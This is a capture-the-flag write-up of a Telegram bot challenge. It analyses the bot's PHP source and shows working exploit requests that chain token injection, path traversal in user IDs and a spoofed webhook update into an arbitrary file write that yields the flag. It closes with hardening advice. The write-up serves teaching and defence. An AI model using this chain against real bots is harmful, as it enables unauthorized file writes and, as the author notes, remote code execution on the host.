CTF: https://ctf.turi.space

This CTF serves as a good introduction to the nieche topic of Telegram Bot Exploitation. It is inspired by a real-world attack path originally discovered by the challenge author, @davtur19. The original exploit led to remote code execution (RCE) on the target host, but for the sake of this challenge, the exploit has been nerfed and only allows the player to retrieve the flag.

Telegram Bots Introduction

I’ll start with a brief introduction to Telegram Bots, citing the docs:

Telegram Bots are special accounts that do not require an additional phone number to set up. These accounts serve as an interface for code running somewhere on your server.

Telegram bots are managed using The Botfather, which is itself a bot. It allows you to create bot tokens and manage bot accounts.

Programatic interaction with bots occurs through the Telegram Bot API. Users interact with bots through regular chats. Bots can also be added to groups and are often used to manage them; examples include GroupHelp and MissRose. It’s needless to say that leaking the token of such bots would allow an attacker to escalate their privileges in the group chats where the bots are present, gaining the same level of access as the bot itself.

Challenge Analysis

The challenge is presented to the user as a simple Telegram bot. Using the /help command returns a message listing all available commands.

First interaction with the bot and command showcase.

Let’s start by cloning the bot and running some tests.

“Cloning” a bot on Telegram generally refers to a feature implemented by the developer of the main bot, allowing you to use your own bot account with their service. In practice, you provide your bot’s session (token) to the service provider, so that you can customize your bot’s profile picture, name, username, and so on. However, the actual code and the logic that powers the bot are managed by the service you’ve chosen to use.

One of the first steps when analyzing Telegram Bots is identifying the host on which the bot is running.

While there are multiple ways an attacker might leak the bot’s hosting information, since we provide the token and the bot is using a web hook, we can retrieve it using the getWebhookInfo API.

$ curl https://api.telegram.org/bot<TOKEN>/getWebhookInfo
{
  "ok": true,
  "result": {
	"url": "https://ctf.turi.space/php/bot/bot.php?token=bot<TOKEN>",
	"has_custom_certificate": false,
	"pending_update_count": 0,
	"max_connections": 2,
	"ip_address": "172.67.185.107"
  }
}

The bot is receiving updates on https://ctf.turi.space/php/bot/bot.php.

Source Analysis

Now that we’ve dynamically gathered some basic information about the application we’re dealing with, let’s move on and see if the code (download), a pretty short PHP script, hides any juicy secrets.

The first thing we notice is that the library used to interact with the Bot API is a patched version of TuriBot. The patch allows every API call to be made using only GET parameters. Updates pushed from the server to the bot are retrieved by the library using the getUpdate() function.

3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
define('NICKNAMEBOT', '@TuriCtfBot');
define('MYID', 25370519);
define('BOTID', 1080715096);
define('GROUP_ADMIN', -1001419922565); # @TuriCtfGroup
define('FLAG_CHATID', -1001328052549); # CTF Winner (flag)


if (!isset($_GET['token'])) {
	exit('token missing');
}
$token = $_GET['token'];

require_once __DIR__ . '/../botlib/vendor/autoload.php';

// patched to use GET only
use TuriBot\Client;

$client = new Client($token, false);
$update = $client->getUpdate();
if (!isset($update)) {
	exit('json error');
}

We are most intrested in the /flag handler

132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
if ($u->command('/flag')) {
	// Check if you are admin of the BOT
	$is_bot_admin = file_get_contents("/code/ctf/data/botAdmins/$user_id.txt");
	if ($is_bot_admin === false) {
		echo "Unauthorized, you are not in botAdmins\n";
		$client->sendMessage($chat_id, "Unauthorized, you are not in botAdmins");
	} elseif ($is_bot_admin == $user_id) {
		if ((stripos(substr($token, 3), (string)BOTID)) !== 0) {
			$client->sendMessage($chat_id, "Use the main bot, not a clone");
		} else {
			$link = $client->exportChatInviteLink(FLAG_CHATID);
			if ($link->ok and isset($link->result)) {
				$client->sendMessage($chat_id, "Flag: {$link->result}");
			} else {
				$client->sendMessage($chat_id,
					"Link generation error: or try again later, if the problem persists please contact @davtur19");
			}
		}
	} else {
		echo "Unauthorized, the user id in the file is not valid\n";
		$client->sendMessage($chat_id, "Unauthorized, the user id in the file is not valid");
	}
}

The flag is an invite link to a group (FLAG_CHATID). It is guarded by some checks that verify if the user has a corresponding file with their user ID inside /code/ctf/data/botAdmins/$user_id.txt.

From here, we know that we must be able to upload a file and write arbitrary content to it in order to solve the challenge. Let’s keep this in mind and proceed with our analysis.

We can see that the only write primitive with somewhat “arbitrary” content is present in the following file upload handler.

88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
if (isset($update->message->document->file_id)) {
	// Commands for admins
	$is_chat_admin = file_get_contents("/code/ctf/data/chatAdmins/$user_id.txt");
	if ($is_chat_admin) {
		$file_name = $update->message->document->file_name;
		$file = $client->getFile($update->message->document->file_id);
		if ($file->ok and isset($file->result->file_path)) {
			$file_path = $file->result->file_path;
			$endpoint = "http://nginxctf/file/" . $token . "/"; // nginxctf = api.telegram.org
			$curl = curl_init();
			curl_setopt_array($curl, [
				CURLOPT_URL            => $endpoint . $file_path,
				CURLOPT_RETURNTRANSFER => true,
			]);
			$resultCurl = curl_exec($curl);
			if (strlen($file_name) <= 100) {
				if (strlen($resultCurl) <= 4096) {
					if (ctype_alnum($resultCurl)) {
						$file = file_put_contents("/code/ctf/data/files/$user_id$file_name.txt", $resultCurl);
						if ($file === false) {
							echo "Failed to write in /data/files/\n";
						} else {
							$client->sendMessage($chat_id, "Document saved in /data/files/$user_id$file_name.txt");
						}
					} else {
						echo "Error: invalid character in file\n";
						$client->sendMessage($chat_id, "Error: invalid character in file");
					}
				} else {
					echo "Error: file too big\n";
					$client->sendMessage($chat_id, "Error: file too big");
				}
			} else {
				echo "Error: file name too long\n";
				$client->sendMessage($chat_id, "Error: file name too long");
			}
		}
	} else {
		echo "Unauthorized\n";
		$client->sendMessage($chat_id, "Unauthorized");
	}
}

We notice two problems here:

  1. The code checks if /code/ctf/data/chatAdmins/$user_id.txt exists; this check is similar to the one present in the /flag handler, but without the need for the user ID to be inside the file.
  2. The data written to the file comes directly from a response from api.telegram.org, which, in theory, we cannot control.

Lastly, we have another interesting construct in the code:

74
75
76
77
78
79
80
81
82
83
84
85
86
// Check if you are admin of the GROUP
$getAdmins = $client->getChatAdministrators(GROUP_ADMIN);
if ($getAdmins->ok) {
	foreach ($getAdmins->result as $user) {
		$userid = $user->user->id;
		$file = file_put_contents("/code/ctf/data/chatAdmins/$userid.txt", "1");
		if ($file === false) {
			echo "Failed to write in /data/chatAdmins/\n";
		}
	}
} else {
	echo "Failed to get Group Admins\n";
}

Note the first line of code in the snippet above. It’s a call to the getChatAdministrators bot API. That call return “true” only if the user calling it’s an admin of the GROUP_ADMIN group. If that first condition is met, for each of the user returned by the API call a file named with the user id is written on /code/ctf/data/chatAdmins/.

As of now, we don’t have any way to get to our goal. Let’s expand the scope and take a quick look at the library that is managing the requests to Telegram.

I’ll make it brief as it’s the only part that concerns us. While looking at the constructor, we can see right away that the token parameter is not sanitized when constructing the $endpoint variable.

16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
/*
 * @param string $token Bot API token
 * @param bool $json_payload if true enable json payload, otherwise use always curl
 * @param string $endpoint custom endpoint url for self-hosted BotApi
 * @param array $curl_options change curl settings, to be able to use a proxy or something else, use it at your own risk
 */

public function __construct(
	string $token,
	bool $json_payload = false,
	string $endpoint = "https://api.telegram.org/bot",
	array $curl_options = []
) {
	$this->endpoint = $endpoint . $token . "/";
	$this->json_payload = $json_payload;
	$this->curl = curl_init();

	curl_setopt_array($this->curl, [
		CURLOPT_RETURNTRANSFER => true,
		CURLOPT_POST           => true,
		CURLOPT_FORBID_REUSE   => true,
		CURLOPT_HEADER         => false,
		CURLOPT_TIMEOUT        => 120,
		CURLOPT_HTTPHEADER     => ["Connection: Keep-Alive", "Keep-Alive: 120"],
	])

To understand why the write is failing, it’s sufficient to take a look at the response of the following calls.

$ curl -I https://ctf.turi.space/data/chatAdmins/ | head -n 1
HTTP/2 404

$ curl -I https://ctf.turi.space/data/ | head -n 1
HTTP/2 403

The chatAdmins folder does not exist on the host.

We need to traverse the path at line 79 injecting $userid

77
78
79
80
81
82
83
        foreach ($getAdmins->result as $user) {
            $userid = $user->user->id;
            $file = file_put_contents("/code/ctf/data/chatAdmins/$userid.txt", "1");
            if ($file === false) {
                echo "Failed to write in /data/chatAdmins/\n";
            }
        }

so that the file_put_contents writes the data inside /code/ctf/data/botAdmins, allowing us to pass the first if at line 135 in the /flag handler.

132
133
134
135
136
137
138
if ($u->command('/flag')) {
	// Check if you are admin of the BOT
	$is_bot_admin = file_get_contents("/code/ctf/data/botAdmins/$user_id.txt");
	if ($is_bot_admin === false) {
		echo "Unauthorized, you are not in botAdmins\n";
		$client->sendMessage($chat_id, "Unauthorized, you are not in botAdmins");
	}

As the user ID is taken from the response to the Telegram API, it’s necessary to somehow control the response from it.

This is, in my opinion, the most interesting part of the challenge.

Telegram allows retrieving uploaded files using getFile and a special API path.

The file can then be downloaded via the link https://api.telegram.org/file/bot<token>/<file_path>, where <file_path> is taken from the response.

We can then upload a file like the following to our chat with the cloned bot.

$ cat admin.json | jq
{
  "ok": true,
  "result": [
	 {
	  "user": {
		"id": "../botAdmins/31337",
		"is_bot": false,
		"first_name": "damned-me",
		"username": "<username>",
		"language_code": "en"
	  },
	  "status": "creator",
	  "is_anonymous": false
	}
  ]
}

Uploading admin.json to telegram servers

and retrieve its file ID from the Telegram API using getUpdates.

GET /bot<TOKEN>/getUpdates HTTP/2
Host: api.telegram.org
HTTP/2 200 OK
Content-Type: application/json
Content-Length: 490

{
  "ok": true,
  "result": [
	{
	  "update_id": 305746679,
	  "message": {
		"message_id": 5,
		"from": {
		  "id": 31337,
		  "is_bot": false,
		  "first_name": "damned-me",
		  "username": "<username>",
		  "language_code": "en"
		},
		"chat": {
		  "id": 31337,
		  "first_name": "damned-me",
		  "username": "<username>",
		  "type": "private"
		},
		"date": 1744239778,
		"document": {
		  "file_name": "admin.json",
		  "mime_type": "application/json",
		  "file_id": "BQACAgQAAxkBAAMFZ_b8oiRncs4hznFqOQQQPuzt6ugAAl8XAAI-17lTReJi3bM37XU2BA",
		  "file_unique_id": "AgADXxcAAj7XuVM",
		  "file_size": 367
		}
	  }
	}
  ]
}

The file_id can be passed as a parameter to getFile: https://api.telegram.org/bot<TOKEN>/getFile?file_id=<FILE_ID>.

GET /bot<TOKEN>/getFile?file_id=BQACAgQAAxkBAAMFZ_b8oiRncs4hznFqOQQQPuzt6ugAAl8XAAI-17lTReJi3bM37XU2BA HTTP/2
Host: api.telegram.org
HTTP/2 200 OK
Content-Type: application/json
Content-Length: 192

{
  "ok": true,
  "result": {
	"file_id": "BQACAgQAAxkBAAMFZ_b8oiRncs4hznFqOQQQPuzt6ugAAl8XAAI-17lTReJi3bM37XU2BA",
	"file_unique_id": "AgADXxcAAj7XuVM",
	"file_size": 367,
	"file_path": "documents/file_0.json"
  }
}

Now, by chaining the token injection with path traversal and appending # to truncate the excess content, the following request will spoof an update to the bot, causing it to send a request to the download endpoint instead of getChatAdministrators.

POST /php/bot/bot.php?token=/../file/bot<TOKEN>/documents/file_0.json%23 HTTP/2
Host: ctf.turi.space
Content-Type: application/json
Content-Length: 110

{
	"message": {
		"from": { "id": "31337" },
		"chat": { "id": "-1001878339899" }
	}
}

The response will contain the file we previously uploaded, which includes a JSON object with the tampered user ID. With this we can already notice a change in the behavior of the bot when requesting the flag.

The change in the bot's behavior indicates that the file has been successfully written to the correct path.

However, we’re not quite there yet. We still need to write our ID inside that file. To do so, we repeat the same process: upload a file containing our user ID, then spoof another update, this time simulating a file upload event.

POST /php/bot/bot.php?token=<TOKEN> HTTP/2
Host: ctf.turi.space
Content-Type: application/json
Content-Length: 307

{
	"message": {
			"from": { "id": "../botAdmins/31337" },
			"chat": { "id": "-1001878339899" },
			"document": {
			"file_id":"<FILE_ID_CONTAINING_MY_ID>",
			"file_name":"",
			"file_path":"documents/file_1.json"
		}
	}
}

The clone reply on successful write

The bot has now written the content we provided into the file in /data/botAdmins. This time, calling /flag will return the invite link as the flag, and the challenge is successfully solved.

The flag

Conclusions

As already mentioned, this challenge was inspired by a real-world scenario. It’s worth highlighting how it ultimately led to remote code execution on a production server. The code was leaked through a separate vulnerability chain. The folder where files were uploaded wasn’t publicly accessible, which made a path traversal on an exposed endpoint necessary. Finally, and perhaps most obviously, the uploaded file contained a PHP reverse shell.

Multiple flaws contributed to this exploit chain: the lack of webhook authorization, an injectable parameter, a path traversal vulnerability, and an arbitrary file write with controlled content. Pretty neat.

On top of that, there are a few design issues. First of all, I find it very unsafe that files are served under the same domain as the Telegram APIs; I would definitely recommend using a separate subdomain for that. Second, the bot’s support for API calls via GET requests was crucial in enabling this kind of injection.

I’ll leave here a useful resource: Securing & Hardening your Telegram Bot

As a side note, Telegram has introduced a new header, X-Telegram-Bot-Api-Secret-Token, that can be leveraged to authenticate API calls. If you’re curious, check out the setWebhook documentation.